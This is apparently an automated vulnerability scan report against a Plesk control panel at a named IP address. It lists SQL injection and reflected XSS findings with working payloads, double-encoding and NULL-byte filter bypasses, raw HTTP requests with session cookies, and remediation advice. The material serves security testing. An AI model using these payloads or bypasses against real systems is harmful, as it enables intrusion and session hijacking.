Certain
Host:
http://174.122.23.218:8880
Path:
/domains/sitebuilder_edit.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload '%20and%201%3d1--%20 was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:26:00 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The PHPSESSID cookie appears to be vulnerable to SQL injection attacks. The payload ')waitfor%20delay'0%3a0%3a20'-- was submitted in the PHPSESSID cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:42:38 GMT Connection: close Content-Length: 84814
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The sessionID cookie appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the sessionID cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the sessionID cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:42:45 GMT Connection: close Content-Length: 84814
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The PLESKSESSID cookie appears to be vulnerable to SQL injection attacks. The payload " was submitted in the PLESKSESSID cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:33:55 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The SessionID cookie appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the SessionID cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the SessionID cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 03:04:38 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The locale cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the locale cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:34:17 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The user cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
1.27. http://174.122.23.218:8880/smb/app/available/id/apscatalog [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://174.122.23.218:8880
Path:
/smb/app/available/id/apscatalog
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
POST /smb/app/available/id/apscatalog HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/app/available/id/apscatalog Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: application/x-www-form-urlencoded Content-Length: 96
The user cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the user cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /smb/app/available/id/apscatalog HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/app/market/id/marketplace Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8%2527;
Response 1
HTTP/1.1 500 Internal Server Error Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:29:37 GMT Connection: close Content-Length: 1208
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]...
Request 2
GET /smb/app/available/id/apscatalog HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/app/market/id/marketplace Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8%2527%2527;
Response 2
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:29:39 GMT Connection: close Content-Length: 15471
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The catalogType parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the catalogType parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
POST /smb/app/available/id/apscatalog/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/app/available/id/apscatalog/ Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: application/x-www-form-urlencoded Content-Length: 96
The user cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The loginSection%5Busername%5D parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the loginSection%5Busername%5D parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: application/json Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:48:48 GMT Connection: close Content-Length: 260
{"formMessages":null,"status":"error","statusMessages":[{"status":"error","content":"Wrong username or password specified. Please enter a valid username and password. If you forgot your password, clic ...[SNIP]...
The user cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The user cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The user cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 819d9</script><script>alert(1)</script>84e52f6ee11 was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00de641</script>f5838bd3d85 was submitted in the category parameter. This input was echoed as de641</script>f5838bd3d85 in the application's response.
This behaviour demonstrates that it is possible to can close the open <SCRIPT> tag and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /smb/app/available/id/apscatalog/?category=Web%2FContent+management%00de641</script>f5838bd3d85 HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/smb/app/top-categories-data/ Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 01:29:53 GMT Connection: close Content-Length: 15519
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The value of the category request parameter is copied into the HTML document as plain text between tags. The payload b84df<script>alert(1)</script>b8f6a35284f was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the items%5B0%5D request parameter is copied into the HTML document as plain text between tags. The payload b24af<img%20src%3da%20onerror%3dalert(1)>2312b78d569de41f4 was submitted in the items%5B0%5D parameter. This input was echoed as b24af<img src=a onerror=alert(1)>2312b78d569de41f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: application/json Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 04:36:39 GMT Connection: close Content-Length: 238
{"status":"ERROR","message":"Unable to copy: internal WebDAV service error. Error code: 404. Contact the server administrator to resolve this problem.","data":{"2010-attacks.jpgb24af<img src=a onerror=alert(1)>2312b78d569de41f4":"ERROR"}}
The value of the folder request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a008</script><script>alert(1)</script>bfba8db7d4d was submitted in the folder parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /smb/file/index/type/external/?folder=3a008</script><script>alert(1)</script>bfba8db7d4d HTTP/1.1 Host: 174.122.23.218:8880 Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: show-getting-started-popup=false; do-not-show-getting-started-popup=true; show-getting-started-popup=true; user=187d997e8ea6a5d0f56792f7f9ba70a4; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; locale=en-US; psaContext=domains
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 04:14:33 GMT Connection: close Content-Length: 49586
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plesk/client@1/domain@1/hosting/file-manager/ HTTP/1.1 Host: 174.122.23.218:8880 Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:43:34 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: PLESKSESSID=6834c9d95c85ab8050749e0c1fdf8b24; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:43:34 GMT Connection: close Content-Length: 965
<html><head><title></title> <script language="javascript" type="text/javascript" src="/javascript/common.js?plesk_version=psa-10.2.0-20100707.19"/></script> <script language="javascript" typ ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /smb/ HTTP/1.1 Host: 174.122.23.218:8880 Proxy-Connection: keep-alive Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf
Response
HTTP/1.1 302 Moved Temporarily Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Location: /smb/login?returnUrl=%2F Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 Set-Cookie: PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:13:59 GMT Connection: close Content-Length: 0
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /smb/auth/logout HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=true; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; filelist=YTo1OntzOjU6ImZsYWdzIjtpOjA7czo0OiJzb3J0IjtzOjQ6Im5hbWUiO3M6NjoiZmlsdGVyIjtzOjA6IiI7czo0OiJwYWdlIjtpOjA7czo4OiJwYWdlU2l6ZSI7aToyNTt9; user=187d997e8ea6a5d0f56792f7f9ba70a4;
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /smb/redirect/pleskin/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /smb/redirect/pleskin/root/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: do-not-show-getting-started-popup=true; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /smb/redirect/pleskin/root//?dst=%2Fplesk%2Fclient%401%2Fdomain%401%2Fhosting%2Ffile-manager%2F&src=%2Fsmb%2Fweb%2Fview%2Fid%2F1&srcController=WebController HTTP/1.1 Host: 174.122.23.218:8880 Proxy-Connection: keep-alive Referer: http://174.122.23.218:8880/smb/web/view/id/1 Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: show-getting-started-popup=false; do-not-show-getting-started-popup=true; show-getting-started-popup=true; user=187d997e8ea6a5d0f56792f7f9ba70a4; PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
psaContext=dashboard; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /domains/sitebuilder_edit.php HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;
Response
HTTP/1.1 200 OK Cache-Control: post-check=0, pre-check=0,no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Sun, 10 Oct 2010 02:06:56 GMT Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 P3P: CP="NON COR CURa ADMa OUR NOR UNI COM NAV STA" Set-Cookie: psaContext=dashboard; path=/ X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:06:56 GMT Connection: close Content-Length: 15780
